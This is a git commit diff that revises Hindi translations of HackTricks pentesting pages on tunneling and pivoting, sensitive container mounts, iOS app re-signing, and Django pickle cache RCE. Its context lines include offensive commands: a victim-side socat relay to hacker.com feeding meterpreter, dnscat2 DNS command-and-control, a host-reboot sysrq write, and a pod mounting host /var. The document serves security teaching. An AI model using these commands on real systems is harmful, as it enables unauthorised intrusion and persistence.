mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/generic-hacking/tunneling-and-port-forwarding.md', 'src
This commit is contained in:
parent
77e3f9b7c7
commit
fcea037806
@ -68,7 +68,7 @@ ssh -i dmz_key -R <dmz_internal_ip>:443:0.0.0.0:7000 root@10.129.203.111 -vN
|
||||
```
|
||||
### VPN-Tunnel
|
||||
|
||||
आपको **दोनों उपकरणों में रूट** की आवश्यकता है (क्योंकि आप नए इंटरफेस बनाने जा रहे हैं) और sshd कॉन्फ़िगरेशन को रूट लॉगिन की अनुमति देनी चाहिए:\
|
||||
आपको **दोनों उपकरणों में रूट** की आवश्यकता है (क्योंकि आप नए इंटरफेस बनाने जा रहे हैं) और sshd कॉन्फ़िगरेशन को रूट लॉगिन की अनुमति देनी होगी:\
|
||||
`PermitRootLogin yes`\
|
||||
`PermitTunnel yes`
|
||||
```bash
|
||||
@ -89,11 +89,11 @@ route add -net 10.0.0.0/16 gw 1.1.1.1
|
||||
```
|
||||
> [!NOTE]
|
||||
> **सुरक्षा – टेरापिन हमला (CVE-2023-48795)**
|
||||
> 2023 का टेरापिन डाउनग्रेड हमला एक मैन-इन-द-मिडल को प्रारंभिक SSH हैंडशेक के साथ छेड़छाड़ करने और **किसी भी फॉरवर्डेड चैनल** ( `-L`, `-R`, `-D` ) में डेटा इंजेक्ट करने की अनुमति दे सकता है। सुनिश्चित करें कि क्लाइंट और सर्वर दोनों पैच किए गए हैं (**OpenSSH ≥ 9.6/LibreSSH 6.7**) या SSH टनल पर भरोसा करने से पहले कमजोर `chacha20-poly1305@openssh.com` और `*-etm@openssh.com` एल्गोरिदम को `sshd_config`/`ssh_config` में स्पष्ट रूप से अक्षम करें।
|
||||
> 2023 का टेरापिन डाउनग्रेड हमला एक मैन-इन-द-मिडल को प्रारंभिक SSH हैंडशेक के साथ छेड़छाड़ करने और **किसी भी फॉरवर्डेड चैनल** ( `-L`, `-R`, `-D` ) में डेटा इंजेक्ट करने की अनुमति दे सकता है। सुनिश्चित करें कि क्लाइंट और सर्वर दोनों पैच किए गए हैं (**OpenSSH ≥ 9.6/LibreSSH 6.7**) या SSH टनल पर निर्भर होने से पहले कमजोर `chacha20-poly1305@openssh.com` और `*-etm@openssh.com` एल्गोरिदम को `sshd_config`/`ssh_config` में स्पष्ट रूप से अक्षम करें।
|
||||
|
||||
## SSHUTTLE
|
||||
|
||||
आप **ssh** के माध्यम से एक होस्ट के माध्यम से **उपनेटवर्क** के लिए सभी **ट्रैफ़िक** को **टनल** कर सकते हैं।\
|
||||
आप **ssh** के माध्यम से **ट्रैफ़िक** को एक **उपनेटवर्क** के माध्यम से एक होस्ट पर **टनल** कर सकते हैं।\
|
||||
उदाहरण के लिए, 10.10.10.0/24 पर जाने वाले सभी ट्रैफ़िक को फॉरवर्ड करना
|
||||
```bash
|
||||
pip install sshuttle
|
||||
@ -138,7 +138,7 @@ echo "socks4 127.0.0.1 1080" > /etc/proxychains.conf #Proxychains
|
||||
|
||||
### SOCKS proxy
|
||||
|
||||
टीमसर्वर में एक पोर्ट खोलें जो सभी इंटरफेस में सुन रहा है जिसे **बिकन के माध्यम से ट्रैफ़िक रूट करने** के लिए उपयोग किया जा सकता है।
|
||||
टीमसर्वर में एक पोर्ट खोलें जो सभी इंटरफेस में सुन रहा है जिसे **बिकन के माध्यम से ट्रैफ़िक को रूट करने के लिए** उपयोग किया जा सकता है।
|
||||
```bash
|
||||
beacon> socks 1080
|
||||
[+] started SOCKS4a server on: 1080
|
||||
@ -179,7 +179,7 @@ python reGeorgSocksProxy.py -p 8080 -u http://upload.sensepost.net:8080/tunnel/t
|
||||
## Chisel
|
||||
|
||||
आप इसे [https://github.com/jpillora/chisel](https://github.com/jpillora/chisel) के रिलीज़ पृष्ठ से डाउनलोड कर सकते हैं।\
|
||||
आपको **क्लाइंट और सर्वर के लिए समान संस्करण का उपयोग करना होगा।**
|
||||
आपको **क्लाइंट और सर्वर के लिए समान संस्करण का उपयोग करना होगा**।
|
||||
|
||||
### socks
|
||||
```bash
|
||||
@ -242,7 +242,7 @@ interface_add_route --name "ligolo" --route 240.0.0.1/32
|
||||
[https://github.com/klsecservices/rpivot](https://github.com/klsecservices/rpivot)
|
||||
|
||||
रिवर्स टनल। टनल पीड़ित से शुरू होती है।\
|
||||
एक socks4 प्रॉक्सी 127.0.0.1:1080 पर बनाई जाती है।
|
||||
127.0.0.1:1080 पर एक socks4 प्रॉक्सी बनाई जाती है।
|
||||
```bash
|
||||
attacker> python server.py --server-port 9999 --server-ip 0.0.0.0 --proxy-ip 127.0.0.1 --proxy-port 1080
|
||||
```
|
||||
@ -290,7 +290,7 @@ attacker> socat OPENSSL-LISTEN:443,cert=server.pem,cafile=client.crt,reuseaddr,f
|
||||
victim> socat.exe TCP-LISTEN:2222 OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|TCP:hacker.com:443,connect-timeout=5
|
||||
#Execute the meterpreter
|
||||
```
|
||||
आप एक **गैर-प्रमाणित प्रॉक्सी** को बायपास कर सकते हैं, पीड़ित के कंसोल में अंतिम लाइन के बजाय यह लाइन चलाकर:
|
||||
आप एक **गैर-प्रमाणित प्रॉक्सी** को बायपास कर सकते हैं, इस पंक्ति को पीड़ित के कंसोल में अंतिम पंक्ति के बजाय निष्पादित करके:
|
||||
```bash
|
||||
OPENSSL,verify=1,cert=client.pem,cafile=server.crt,connect-timeout=5|PROXY:hacker.com:443,connect-timeout=5|TCP:proxy.lan:8080,connect-timeout=5
|
||||
```
|
||||
@ -335,7 +335,7 @@ echo y | plink.exe -l root -pw password [-p 2222] -R 9090:127.0.0.1:9090 10.11.0
|
||||
|
||||
### Port2Port
|
||||
|
||||
आपको स्थानीय व्यवस्थापक होना आवश्यक है (किसी भी पोर्ट के लिए)
|
||||
आपको एक स्थानीय व्यवस्थापक होना आवश्यक है (किसी भी पोर्ट के लिए)
|
||||
```bash
|
||||
netsh interface portproxy add v4tov4 listenaddress= listenport= connectaddress= connectport= protocol=tcp
|
||||
# Example:
|
||||
@ -372,7 +372,7 @@ netstat -antb | findstr 1080
|
||||
|
||||
## Windows GUI ऐप्स को प्रॉक्सी करें
|
||||
|
||||
आप Windows GUI ऐप्स को [**Proxifier**](https://www.proxifier.com/) का उपयोग करके प्रॉक्सी के माध्यम से नेविगेट करवा सकते हैं।\
|
||||
आप Windows GUI ऐप्स को [**Proxifier**](https://www.proxifier.com/) का उपयोग करके प्रॉक्सी के माध्यम से नेविगेट कर सकते हैं।\
|
||||
**Profile -> Proxy Servers** में SOCKS सर्वर का IP और पोर्ट जोड़ें।\
|
||||
**Profile -> Proxification Rules** में प्रॉक्सी करने के लिए प्रोग्राम का नाम और उन IPs के लिए कनेक्शन जोड़ें जिन्हें आप प्रॉक्सी करना चाहते हैं।
|
||||
|
||||
@ -409,7 +409,7 @@ Microsoft द्वारा बनाया गया एक रिवर्स
|
||||
|
||||
[https://code.kryo.se/iodine/](https://code.kryo.se/iodine/)
|
||||
|
||||
दोनों सिस्टम में टन एडाप्टर बनाने और DNS क्वेरी का उपयोग करके उनके बीच डेटा टनल करने के लिए रूट की आवश्यकता होती है।
|
||||
दोनों सिस्टम में रूट की आवश्यकता होती है ताकि टन एडाप्टर बनाए जा सकें और DNS क्वेरी का उपयोग करके उनके बीच डेटा टनल किया जा सके।
|
||||
```
|
||||
attacker> iodined -f -c -P P@ssw0rd 1.1.1.1 tunneldomain.com
|
||||
victim> iodine -f -P P@ssw0rd tunneldomain.com -r
|
||||
@ -423,7 +423,7 @@ ssh <user>@1.1.1.2 -C -c blowfish-cbc,arcfour -o CompressionLevel=9 -D 1080
|
||||
|
||||
[**इसे यहाँ से डाउनलोड करें**](https://github.com/iagox86/dnscat2)**.**
|
||||
|
||||
DNS के माध्यम से एक C\&C चैनल स्थापित करता है। इसे रूट विशेषाधिकारों की आवश्यकता नहीं है।
|
||||
DNS के माध्यम से C\&C चैनल स्थापित करता है। इसे रूट विशेषाधिकारों की आवश्यकता नहीं है।
|
||||
```bash
|
||||
attacker> ruby ./dnscat2.rb tunneldomain.com
|
||||
victim> ./dnscat2 tunneldomain.com
|
||||
@ -446,7 +446,7 @@ listen [lhost:]lport rhost:rport #Ex: listen 127.0.0.1:8080 10.0.0.20:80, this b
|
||||
```
|
||||
#### Proxychains DNS बदलें
|
||||
|
||||
Proxychains `gethostbyname` libc कॉल को इंटरसेप्ट करता है और tcp DNS अनुरोध को socks प्रॉक्सी के माध्यम से टनल करता है। **डिफ़ॉल्ट** रूप से, **DNS** सर्वर जो proxychains उपयोग करता है वह **4.2.2.2** है (हार्डकोडेड)। इसे बदलने के लिए, फ़ाइल संपादित करें: _/usr/lib/proxychains3/proxyresolv_ और IP बदलें। यदि आप **Windows वातावरण** में हैं, तो आप **डोमेन कंट्रोलर** का IP सेट कर सकते हैं।
|
||||
Proxychains `gethostbyname` libc कॉल को इंटरसेप्ट करता है और TCP DNS अनुरोध को SOCKS प्रॉक्सी के माध्यम से टनल करता है। **डिफ़ॉल्ट** के रूप में, **DNS** सर्वर जो proxychains उपयोग करता है वह **4.2.2.2** है (हार्डकोडेड)। इसे बदलने के लिए, फ़ाइल संपादित करें: _/usr/lib/proxychains3/proxyresolv_ और IP बदलें। यदि आप **Windows वातावरण** में हैं, तो आप **डोमेन कंट्रोलर** का IP सेट कर सकते हैं।
|
||||
|
||||
## Go में टनल
|
||||
|
||||
@ -459,7 +459,7 @@ Proxychains `gethostbyname` libc कॉल को इंटरसेप्ट
|
||||
[https://github.com/friedrich/hans](https://github.com/friedrich/hans)\
|
||||
[https://github.com/albertzak/hanstunnel](https://github.com/albertzak/hanstunnel)
|
||||
|
||||
दोनों सिस्टम में tun एडाप्टर बनाने और ICMP इको अनुरोधों का उपयोग करके उनके बीच डेटा टनल करने के लिए रूट की आवश्यकता होती है।
|
||||
दोनों सिस्टम में टन अडाप्टर बनाने और ICMP इको अनुरोधों का उपयोग करके उनके बीच डेटा टनल करने के लिए रूट की आवश्यकता होती है।
|
||||
```bash
|
||||
./hans -v -f -s 1.1.1.1 -p P@ssw0rd #Start listening (1.1.1.1 is IP of the new vpn connection)
|
||||
./hans -f -c <server_ip> -p P@ssw0rd -v
|
||||
@ -484,7 +484,7 @@ ssh -D 9050 -p 2222 -l user 127.0.0.1
|
||||
## ngrok
|
||||
|
||||
[**ngrok**](https://ngrok.com/) **एक उपकरण है जो एक कमांड लाइन में समाधानों को इंटरनेट पर उजागर करता है।**\
|
||||
_उजागर URI इस तरह के होते हैं:_ **UID.ngrok.io**
|
||||
_उजागर URI इस तरह हैं:_ **UID.ngrok.io**
|
||||
|
||||
### Installation
|
||||
|
||||
@ -532,7 +532,7 @@ stdout से सीधे या HTTP इंटरफ़ेस में [http:
|
||||
यह 3 टनल खोलता है:
|
||||
|
||||
- 2 TCP
|
||||
- 1 HTTP जो /tmp/httpbin/ से स्थिर फ़ाइलों का प्रदर्शन करता है
|
||||
- 1 HTTP जिसमें /tmp/httpbin/ से स्थिर फ़ाइलों का प्रदर्शन होता है
|
||||
```yaml
|
||||
tunnels:
|
||||
mytcp:
|
||||
@ -578,7 +578,7 @@ cloudflared tunnel run mytunnel
|
||||
|
||||
## FRP (फास्ट रिवर्स प्रॉक्सी)
|
||||
|
||||
[`frp`](https://github.com/fatedier/frp) एक सक्रिय रूप से बनाए रखा गया Go रिवर्स-प्रॉक्सी है जो **TCP, UDP, HTTP/S, SOCKS और P2P NAT-hole-punching** का समर्थन करता है। **v0.53.0 (मई 2024)** से शुरू होकर, यह एक **SSH टनल गेटवे** के रूप में कार्य कर सकता है, इसलिए एक लक्षित होस्ट केवल स्टॉक OpenSSH क्लाइंट का उपयोग करके एक रिवर्स टनल स्थापित कर सकता है - कोई अतिरिक्त बाइनरी की आवश्यकता नहीं है।
|
||||
[`frp`](https://github.com/fatedier/frp) एक सक्रिय रूप से बनाए रखा जाने वाला Go रिवर्स-प्रॉक्सी है जो **TCP, UDP, HTTP/S, SOCKS और P2P NAT-hole-punching** का समर्थन करता है। **v0.53.0 (मई 2024)** से शुरू होकर, यह एक **SSH टनल गेटवे** के रूप में कार्य कर सकता है, ताकि एक लक्षित होस्ट केवल स्टॉक OpenSSH क्लाइंट का उपयोग करके एक रिवर्स टनल स्थापित कर सके - कोई अतिरिक्त बाइनरी की आवश्यकता नहीं है।
|
||||
|
||||
### क्लासिक रिवर्स TCP टनल
|
||||
```bash
|
||||
|
@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
`/proc`, `/sys`, और `/var` का उचित namespace isolation के बिना खुलासा महत्वपूर्ण सुरक्षा जोखिमों को जन्म देता है, जिसमें हमले की सतह का विस्तार और जानकारी का खुलासा शामिल है। ये निर्देशिकाएँ संवेदनशील फ़ाइलें रखती हैं जो, यदि गलत तरीके से कॉन्फ़िगर की गईं या किसी अनधिकृत उपयोगकर्ता द्वारा एक्सेस की गईं, तो कंटेनर से भागने, होस्ट में संशोधन, या आगे के हमलों में मदद करने वाली जानकारी प्रदान कर सकती हैं। उदाहरण के लिए, `-v /proc:/host/proc` को गलत तरीके से माउंट करने से AppArmor सुरक्षा को बायपास किया जा सकता है, जिससे `/host/proc` असुरक्षित रह जाता है।
|
||||
`/proc`, `/sys`, और `/var` का उचित namespace isolation के बिना खुलासा महत्वपूर्ण सुरक्षा जोखिमों को पेश करता है, जिसमें हमले की सतह का विस्तार और जानकारी का खुलासा शामिल है। ये निर्देशिकाएँ संवेदनशील फ़ाइलें रखती हैं जो, यदि गलत तरीके से कॉन्फ़िगर की गईं या किसी अनधिकृत उपयोगकर्ता द्वारा एक्सेस की गईं, तो कंटेनर से भागने, होस्ट में संशोधन, या आगे के हमलों में मदद करने वाली जानकारी प्रदान कर सकती हैं। उदाहरण के लिए, `-v /proc:/host/proc` को गलत तरीके से माउंट करने से AppArmor सुरक्षा को बायपास किया जा सकता है, जिससे `/host/proc` असुरक्षित रह जाता है।
|
||||
|
||||
**आप प्रत्येक संभावित vuln के बारे में और विवरण पा सकते हैं** [**https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts**](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)**.**
|
||||
|
||||
@ -50,7 +50,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # modprobe तक पहुंच की
|
||||
#### **`/proc/sys/vm/panic_on_oom`**
|
||||
|
||||
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) में संदर्भित।
|
||||
- एक वैश्विक ध्वज जो नियंत्रित करता है कि क्या कर्नेल पैनिक करता है या OOM किलर को बुलाता है जब OOM स्थिति होती है।
|
||||
- एक वैश्विक ध्वज जो नियंत्रित करता है कि क्या कर्नेल पैनिक करता है या OOM स्थिति होने पर OOM किलर को बुलाता है।
|
||||
|
||||
#### **`/proc/sys/fs`**
|
||||
|
||||
@ -63,7 +63,7 @@ ls -l $(cat /proc/sys/kernel/modprobe) # modprobe तक पहुंच की
|
||||
- यदि `/proc/sys/fs/binfmt_misc/register` लिखा जा सकता है, तो यह विशेषाधिकार वृद्धि या रूट शेल पहुंच की ओर ले जा सकता है।
|
||||
- प्रासंगिक शोषण और व्याख्या:
|
||||
- [Poor man's rootkit via binfmt_misc](https://github.com/toffan/binfmt_misc)
|
||||
- गहन ट्यूटोरियल: [वीडियो लिंक](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
- गहन ट्यूटोरियल: [Video link](https://www.youtube.com/watch?v=WBC7hhgMvQQ)
|
||||
|
||||
### Others in `/proc`
|
||||
|
||||
@ -84,7 +84,7 @@ echo b > /proc/sysrq-trigger # होस्ट को रिबूट करत
|
||||
#### **`/proc/kmsg`**
|
||||
|
||||
- कर्नेल रिंग बफर संदेशों को उजागर करता है।
|
||||
- कर्नेल शोषण, पते के लीक, और संवेदनशील सिस्टम जानकारी प्रदान करने में मदद कर सकता है।
|
||||
- कर्नेल शोषण, पते के रिसाव में मदद कर सकता है, और संवेदनशील सिस्टम जानकारी प्रदान कर सकता है।
|
||||
|
||||
#### **`/proc/kallsyms`**
|
||||
|
||||
@ -96,7 +96,7 @@ echo b > /proc/sysrq-trigger # होस्ट को रिबूट करत
|
||||
#### **`/proc/[pid]/mem`**
|
||||
|
||||
- कर्नेल मेमोरी डिवाइस `/dev/mem` के साथ इंटरफेस करता है।
|
||||
- ऐतिहासिक रूप से विशेषाधिकार वृद्धि हमलों के प्रति संवेदनशील।
|
||||
- ऐतिहासिक रूप से विशेषाधिकार वृद्धि के हमलों के प्रति संवेदनशील।
|
||||
- [proc(5)](https://man7.org/linux/man-pages/man5/proc.5.html) पर अधिक।
|
||||
|
||||
#### **`/proc/kcore`**
|
||||
@ -108,12 +108,12 @@ echo b > /proc/sysrq-trigger # होस्ट को रिबूट करत
|
||||
|
||||
#### **`/proc/kmem`**
|
||||
|
||||
- कर्नेल वर्चुअल मेमोरी का प्रतिनिधित्व करने के लिए `/dev/kmem` के लिए वैकल्पिक इंटरफेस।
|
||||
- `/dev/kmem` के लिए वैकल्पिक इंटरफेस, कर्नेल वर्चुअल मेमोरी का प्रतिनिधित्व करता है।
|
||||
- पढ़ने और लिखने की अनुमति देता है, इसलिए कर्नेल मेमोरी का प्रत्यक्ष संशोधन।
|
||||
|
||||
#### **`/proc/mem`**
|
||||
|
||||
- भौतिक मेमोरी का प्रतिनिधित्व करने के लिए `/dev/mem` के लिए वैकल्पिक इंटरफेस।
|
||||
- `/dev/mem` के लिए वैकल्पिक इंटरफेस, भौतिक मेमोरी का प्रतिनिधित्व करता है।
|
||||
- पढ़ने और लिखने की अनुमति देता है, सभी मेमोरी का संशोधन वर्चुअल से भौतिक पते को हल करने की आवश्यकता है।
|
||||
|
||||
#### **`/proc/sched_debug`**
|
||||
@ -199,17 +199,17 @@ metadata:
|
||||
app: pentest
|
||||
spec:
|
||||
containers:
|
||||
- name: pod-mounts-var-folder
|
||||
image: alpine
|
||||
volumeMounts:
|
||||
- mountPath: /host-var
|
||||
name: noderoot
|
||||
command: [ "/bin/sh", "-c", "--" ]
|
||||
args: [ "while true; do sleep 30; done;" ]
|
||||
- name: pod-mounts-var-folder
|
||||
image: alpine
|
||||
volumeMounts:
|
||||
- mountPath: /host-var
|
||||
name: noderoot
|
||||
command: [ "/bin/sh", "-c", "--" ]
|
||||
args: [ "while true; do sleep 30; done;" ]
|
||||
volumes:
|
||||
- name: noderoot
|
||||
hostPath:
|
||||
path: /var
|
||||
- name: noderoot
|
||||
hostPath:
|
||||
path: /var
|
||||
```
|
||||
|
||||
Inside the **pod-mounts-var-folder** container:
|
||||
|
@ -14,24 +14,24 @@
|
||||
|
||||
### इसे Apple से प्राप्त करें
|
||||
|
||||
1. iPhone में pentest करने के लिए ऐप स्थापित करें
|
||||
2. अपने macos में [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) स्थापित और लॉन्च करें
|
||||
1. iPhone में पेंटेस्ट करने के लिए ऐप इंस्टॉल करें
|
||||
2. अपने macos में [Apple Configurator](https://apps.apple.com/au/app/apple-configurator/id1037126344?mt=12) इंस्टॉल और लॉन्च करें
|
||||
3. अपने Mac पर `Terminal` खोलें, और `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps` में cd करें। IPA बाद में इस फ़ोल्डर में दिखाई देगा।
|
||||
4. आपको अपना iOS डिवाइस दिखाई देना चाहिए। उस पर डबल-क्लिक करें, और फिर शीर्ष मेनू बार से Add + → Apps पर क्लिक करें।
|
||||
5. Add पर क्लिक करने के बाद, Configurator Apple से IPA डाउनलोड करेगा, और इसे आपके डिवाइस पर पुश करने का प्रयास करेगा। यदि आपने पहले मेरी सिफारिश का पालन किया और IPA पहले से ही स्थापित किया है, तो एक प्रॉम्प्ट दिखाई देगा जो आपको ऐप को फिर से स्थापित करने के लिए कहेगा।
|
||||
5. Add पर क्लिक करने के बाद, Configurator Apple से IPA डाउनलोड करेगा, और इसे आपके डिवाइस पर पुश करने का प्रयास करेगा। यदि आपने पहले मेरी सिफारिश का पालन किया और IPA पहले से ही इंस्टॉल किया है, तो ऐप को फिर से इंस्टॉल करने के लिए एक प्रॉम्प्ट दिखाई देगा।
|
||||
6. IPA को `/Users/[username]/Library/Group\\ Containers/K36BKF7T3D.group.com.apple.configurator/Library/Caches/Assets/TemporaryItems/MobileApps` के अंदर डाउनलोड किया जाना चाहिए, जहाँ से आप इसे प्राप्त कर सकते हैं।
|
||||
|
||||
इस प्रक्रिया के बारे में अधिक विस्तृत जानकारी के लिए [https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed](https://dvuln.com/blog/modern-ios-pentesting-no-jailbreak-needed) देखें।
|
||||
|
||||
### ऐप को डिक्रिप्ट करना
|
||||
|
||||
IPA को डिक्रिप्ट करने के लिए हम इसे स्थापित करने जा रहे हैं। हालाँकि, यदि आपके पास एक पुराना जेलब्रोकन iPhone है, तो संभावित रूप से इसका संस्करण एप्लिकेशन द्वारा समर्थित नहीं होगा क्योंकि आमतौर पर ऐप केवल नवीनतम संस्करणों का समर्थन करते हैं।
|
||||
IPA को डिक्रिप्ट करने के लिए हम इसे इंस्टॉल करने जा रहे हैं। हालाँकि, यदि आपके पास एक पुराना जेलब्रोकन iPhone है, तो संभावित रूप से इसका संस्करण एप्लिकेशन द्वारा समर्थित नहीं होगा क्योंकि आमतौर पर ऐप्स केवल नवीनतम संस्करणों का समर्थन करते हैं।
|
||||
|
||||
इसलिए, इसे स्थापित करने के लिए, बस IPA को अनज़िप करें:
|
||||
इसलिए, इसे इंस्टॉल करने के लिए, बस IPA को अनज़िप करें:
|
||||
```bash
|
||||
unzip redacted.ipa -d unzipped
|
||||
```
|
||||
`Info.plist` में न्यूनतम समर्थित संस्करण के लिए जांचें और यदि आपका डिवाइस उससे पुराना है, तो मान को बदलें ताकि यह समर्थित हो सके।
|
||||
`Info.plist` में न्यूनतम समर्थित संस्करण के लिए जांचें और यदि आपका डिवाइस उससे पुराना है, तो मान को बदलें ताकि यह समर्थित हो।
|
||||
|
||||
IPA को फिर से ज़िप करें:
|
||||
```bash
|
||||
@ -48,7 +48,7 @@ ideviceinstaller -i no-min-version.ipa -w
|
||||
|
||||
### पैच अधिकार और फिर से साइन करें
|
||||
|
||||
`get-task-allow` अधिकार के साथ एप्लिकेशन को फिर से साइन करने के लिए कई उपकरण उपलब्ध हैं जैसे `app-signer`, `codesign`, और `iResign`। `app-signer` का एक बहुत उपयोगकर्ता-अनुकूल इंटरफ़ेस है जो एक IPA फ़ाइल को फिर से साइन करने की अनुमति देता है, जिसमें फिर से साइन करने के लिए IPA को इंगित करना, **इसे `get-taks-allow` में डालना** और उपयोग करने के लिए प्रमाणपत्र और प्रोविजनिंग प्रोफ़ाइल शामिल है।
|
||||
`get-task-allow` अधिकार के साथ एप्लिकेशन को फिर से साइन करने के लिए कई उपकरण उपलब्ध हैं जैसे `app-signer`, `codesign`, और `iResign`। `app-signer` का एक बहुत उपयोगकर्ता-अनुकूल इंटरफ़ेस है जो एक IPA फ़ाइल को फिर से साइन करने की अनुमति देता है, जिसमें फिर से साइन करने के लिए IPA को इंगित करना, **इसे `get-task-allow` में डालना** और उपयोग करने के लिए प्रमाणपत्र और प्रोविजनिंग प्रोफ़ाइल शामिल है।
|
||||
|
||||
प्रमाणपत्र और साइनिंग प्रोफाइल के संबंध में, Apple सभी खातों के लिए Xcode के माध्यम से **मुफ्त डेवलपर साइनिंग प्रोफाइल** प्रदान करता है। बस एक ऐप बनाएं और एक कॉन्फ़िगर करें। फिर, `Settings` → `Privacy & Security` पर जाकर **iPhone को डेवलपर ऐप्स पर भरोसा करने के लिए कॉन्फ़िगर करें**, और `Developer Mode` पर क्लिक करें।
|
||||
|
||||
@ -60,7 +60,7 @@ ideviceinstaller -i resigned.ipa -w
|
||||
|
||||
### डेवलपर मोड सक्षम करें (iOS 16+)
|
||||
|
||||
iOS 16 से Apple ने **डेवलपर मोड** पेश किया: कोई भी बाइनरी जो `get_task_allow` ले जाती है *या* एक विकास प्रमाणपत्र के साथ हस्ताक्षरित है, वह तब तक लॉन्च करने से मना कर देगी जब तक कि डिवाइस पर डेवलपर मोड सक्षम नहीं किया गया है। आप Frida/LLDB को भी संलग्न नहीं कर पाएंगे जब तक कि यह ध्वज चालू न हो।
|
||||
iOS 16 से Apple ने **डेवलपर मोड** पेश किया: कोई भी बाइनरी जो `get_task_allow` ले जाती है *या* एक विकास प्रमाणपत्र के साथ हस्ताक्षरित है, वह तब तक लॉन्च करने से मना कर देगी जब तक कि डिवाइस पर डेवलपर मोड सक्षम न हो। जब तक यह ध्वज चालू न हो, आप Frida/LLDB को भी संलग्न नहीं कर पाएंगे।
|
||||
|
||||
1. फोन पर **कोई भी** डेवलपर-हस्ताक्षरित IPA स्थापित करें या पुश करें।
|
||||
2. **सेटिंग्स → गोपनीयता और सुरक्षा → डेवलपर मोड** पर जाएं और इसे चालू करें।
|
||||
@ -89,11 +89,11 @@ objection -g "com.example.target" explore
|
||||
# Or plain Frida
|
||||
frida -U -f com.example.target -l my_script.js --no-pause
|
||||
```
|
||||
हाल के Frida रिलीज़ (>=16) स्वचालित रूप से पॉइंटर प्रमाणीकरण और अन्य iOS 17 निवारणों को संभालते हैं, इसलिए अधिकांश मौजूदा स्क्रिप्ट बिना किसी बदलाव के काम करती हैं।
|
||||
हाल के Frida रिलीज़ (>=16) स्वचालित रूप से पॉइंटर ऑथेंटिकेशन और अन्य iOS 17 निवारणों को संभालते हैं, इसलिए अधिकांश मौजूदा स्क्रिप्ट बिना किसी बदलाव के काम करती हैं।
|
||||
|
||||
### स्वचालित गतिशील विश्लेषण MobSF के साथ (कोई जेलब्रेक नहीं)
|
||||
|
||||
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) एक वास्तविक डिवाइस पर एक डेवलपर-साइन किया हुआ IPA को उसी तकनीक (`get_task_allow`) का उपयोग करके इंस्ट्रूमेंट कर सकता है और एक वेब UI प्रदान करता है जिसमें फ़ाइल प्रणाली ब्राउज़र, ट्रैफ़िक कैप्चर और Frida कंसोल शामिल हैं【turn6view0†L2-L3】। सबसे तेज़ तरीका यह है कि MobSF को Docker में चलाएं और फिर अपने iPhone को USB के माध्यम से कनेक्ट करें:
|
||||
[MobSF](https://mobsf.github.io/Mobile-Security-Framework-MobSF/) एक वास्तविक डिवाइस पर एक डेवलपर-साइन किए गए IPA को उसी तकनीक (`get_task_allow`) का उपयोग करके इंस्ट्रूमेंट कर सकता है और फाइल सिस्टम ब्राउज़र, ट्रैफ़िक कैप्चर और Frida कंसोल के साथ एक वेब UI प्रदान करता है【turn6view0†L2-L3】। सबसे तेज़ तरीका यह है कि MobSF को Docker में चलाएं और फिर अपने iPhone को USB के माध्यम से कनेक्ट करें:
|
||||
```bash
|
||||
docker pull opensecurity/mobile-security-framework-mobsf:latest
|
||||
docker run -p 8000:8000 --privileged \
|
||||
@ -106,7 +106,7 @@ MobSF स्वचालित रूप से बाइनरी को तै
|
||||
### iOS 17 & लॉकडाउन मोड चेतावनियाँ
|
||||
|
||||
* **लॉकडाउन मोड** (सेटिंग्स → गोपनीयता और सुरक्षा) अस्वीकृत या बाहरी रूप से हस्ताक्षरित गतिशील पुस्तकालयों को लोड करने से गतिशील लिंक को रोकता है। उन उपकरणों का परीक्षण करते समय जिनमें यह मोड सक्षम हो सकता है, सुनिश्चित करें कि यह **अक्षम** है या आपकी Frida/objection सत्र तुरंत समाप्त हो जाएंगे।
|
||||
* पॉइंटर ऑथेंटिकेशन (PAC) A12+ उपकरणों पर प्रणाली-व्यापी लागू किया गया है। Frida ≥16 पारदर्शी रूप से PAC स्ट्रिपिंग को संभालता है — बस सुनिश्चित करें कि *frida-server* और Python/CLI टूलचेन नवीनतम हैं जब एक नया प्रमुख iOS संस्करण जारी होता है।
|
||||
* पॉइंटर ऑथेंटिकेशन (PAC) A12+ उपकरणों पर प्रणाली-व्यापी लागू किया गया है। Frida ≥16 पारदर्शी रूप से PAC स्ट्रिपिंग को संभालता है — बस सुनिश्चित करें कि *frida-server* और Python/CLI टूलचेन को नवीनतम बनाए रखें जब एक नया प्रमुख iOS संस्करण जारी होता है।
|
||||
|
||||
## संदर्भ
|
||||
|
||||
|
@ -1,9 +1,9 @@
|
||||
# Django
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include /src/banners/hacktricks-training.md}}
|
||||
|
||||
## Cache Manipulation to RCE
|
||||
Django का डिफ़ॉल्ट कैश स्टोरेज तरीका [Python pickles](https://docs.python.org/3/library/pickle.html) है, जो RCE की ओर ले जा सकता है यदि [अविश्वसनीय इनपुट को अनपिकल किया जाए](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf)। **यदि एक हमलावर कैश में लिखने की पहुंच प्राप्त कर लेता है, तो वह इस कमजोरियों को अंतर्निहित सर्वर पर RCE में बढ़ा सकता है**।
|
||||
Django का डिफ़ॉल्ट कैश स्टोरेज तरीका [Python pickles](https://docs.python.org/3/library/pickle.html) है, जो [अविश्वसनीय इनपुट के अनपिकल होने](https://media.blackhat.com/bh-us-11/Slaviero/BH_US_11_Slaviero_Sour_Pickles_Slides.pdf) पर RCE की ओर ले जा सकता है। **यदि एक हमलावर कैश में लिखने की पहुंच प्राप्त कर लेता है, तो वह इस कमजोरियों को अंतर्निहित सर्वर पर RCE में बढ़ा सकता है**।
|
||||
|
||||
